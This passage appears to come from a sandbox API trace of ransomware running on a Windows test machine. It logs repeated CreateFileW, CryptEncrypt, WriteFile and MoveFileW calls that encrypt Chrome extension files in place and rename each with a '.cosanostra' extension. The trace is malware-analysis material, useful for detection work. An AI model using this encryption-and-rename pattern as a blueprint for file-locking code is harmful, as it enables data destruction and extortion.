(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.230] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 155 [0086.230] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.231] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffe3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.231] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x1c2, lpNumberOfBytesWritten=0x28dfa14, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28dfa14*=0x1c2, lpOverlapped=0x0) returned 1 [0086.231] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.231] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa14, lpOverlapped=0x0 | out: lpBuffer=0x28dfa54*, lpNumberOfBytesWritten=0x28dfa14*=0x4, lpOverlapped=0x0) returned 1 [0086.231] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa14, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa14*=0x30, lpOverlapped=0x0) returned 1 [0086.231] CloseHandle (hObject=0x190) returned 1 [0086.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.cosanostra")) returned 1 [0086.233] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa50 | out: pbBuffer=0x28dfa50) returned 1 [0086.233] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa48*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa48*=0x30) returned 1 [0086.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.233] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 155 [0086.233] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.234] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff27, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.234] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0x28dfa0c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28dfa0c*=0xd9, lpOverlapped=0x0) returned 1 [0086.235] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.235] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa0c, lpOverlapped=0x0 | out: lpBuffer=0x28dfa4c*, lpNumberOfBytesWritten=0x28dfa0c*=0x4, lpOverlapped=0x0) returned 1 [0086.235] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa0c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa0c*=0x30, lpOverlapped=0x0) returned 1 [0086.235] CloseHandle (hObject=0x190) returned 1 [0086.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0086.237] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa48 | out: pbBuffer=0x28dfa48) returned 1 [0086.237] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa40*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa40*=0x30) returned 1 [0086.237] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.237] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 155 [0086.237] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.238] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffeb9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.238] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0x28dfa04, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28dfa04*=0x147, lpOverlapped=0x0) returned 1 [0086.241] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.241] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfa04, lpOverlapped=0x0 | out: lpBuffer=0x28dfa44*, lpNumberOfBytesWritten=0x28dfa04*=0x4, lpOverlapped=0x0) returned 1 [0086.241] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfa04, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfa04*=0x30, lpOverlapped=0x0) returned 1 [0086.241] CloseHandle (hObject=0x190) returned 1 [0086.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json.cosanostra")) returned 1 [0086.243] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa40 | out: pbBuffer=0x28dfa40) returned 1 [0086.243] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa38*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa38*=0x30) returned 1 [0086.243] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.243] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 155 [0086.243] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.308] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffda1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.308] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x25f, lpNumberOfBytesWritten=0x28df9fc, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df9fc*=0x25f, lpOverlapped=0x0) returned 1 [0086.309] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.309] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9fc, lpOverlapped=0x0 | out: lpBuffer=0x28dfa3c*, lpNumberOfBytesWritten=0x28df9fc*=0x4, lpOverlapped=0x0) returned 1 [0086.309] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9fc*=0x30, lpOverlapped=0x0) returned 1 [0086.309] CloseHandle (hObject=0x190) returned 1 [0086.309] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json.cosanostra")) returned 1 [0086.311] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa38 | out: pbBuffer=0x28dfa38) returned 1 [0086.311] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa30*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa30*=0x30) returned 1 [0086.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.311] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 155 [0086.311] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.312] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.312] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x28df9f4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df9f4*=0x98, lpOverlapped=0x0) returned 1 [0086.312] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.312] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9f4, lpOverlapped=0x0 | out: lpBuffer=0x28dfa34*, lpNumberOfBytesWritten=0x28df9f4*=0x4, lpOverlapped=0x0) returned 1 [0086.312] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9f4*=0x30, lpOverlapped=0x0) returned 1 [0086.313] CloseHandle (hObject=0x190) returned 1 [0086.313] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.cosanostra")) returned 1 [0086.315] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa30 | out: pbBuffer=0x28dfa30) returned 1 [0086.315] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa28*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa28*=0x30) returned 1 [0086.315] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.315] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 155 [0086.315] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.316] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.316] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x28df9ec, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df9ec*=0xd4, lpOverlapped=0x0) returned 1 [0086.316] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.316] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9ec, lpOverlapped=0x0 | out: lpBuffer=0x28dfa2c*, lpNumberOfBytesWritten=0x28df9ec*=0x4, lpOverlapped=0x0) returned 1 [0086.318] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9ec*=0x30, lpOverlapped=0x0) returned 1 [0086.318] CloseHandle (hObject=0x190) returned 1 [0086.318] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0086.320] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa28 | out: pbBuffer=0x28dfa28) returned 1 [0086.320] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa20*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa20*=0x30) returned 1 [0086.320] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.320] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 159 [0086.320] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.343] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.343] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x28df9e4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df9e4*=0xe3, lpOverlapped=0x0) returned 1 [0086.344] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.344] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9e4, lpOverlapped=0x0 | out: lpBuffer=0x28dfa24*, lpNumberOfBytesWritten=0x28df9e4*=0x4, lpOverlapped=0x0) returned 1 [0086.344] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9e4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9e4*=0x30, lpOverlapped=0x0) returned 1 [0086.344] CloseHandle (hObject=0x190) returned 1 [0086.344] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.cosanostra")) returned 1 [0086.348] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfa20 | out: pbBuffer=0x28dfa20) returned 1 [0086.349] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfa18*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfa18*=0x30) returned 1 [0086.349] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0086.385] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 160 [0086.385] StrStrW (lpFirst="computed_hashes.json", lpSrch=".txt") returned 0x0 [0086.386] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffea0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.386] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x28df9dc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df9dc*=0x160, lpOverlapped=0x0) returned 1 [0086.386] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.386] WriteFile (in: hFile=0x190, lpBuffer=0x28dfa1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df9dc, lpOverlapped=0x0 | out: lpBuffer=0x28dfa1c*, lpNumberOfBytesWritten=0x28df9dc*=0x4, lpOverlapped=0x0) returned 1 [0086.386] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df9dc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df9dc*=0x30, lpOverlapped=0x0) returned 1 [0086.386] CloseHandle (hObject=0x190) returned 1 [0086.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.cosanostra")) returned 1 [0086.388] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, 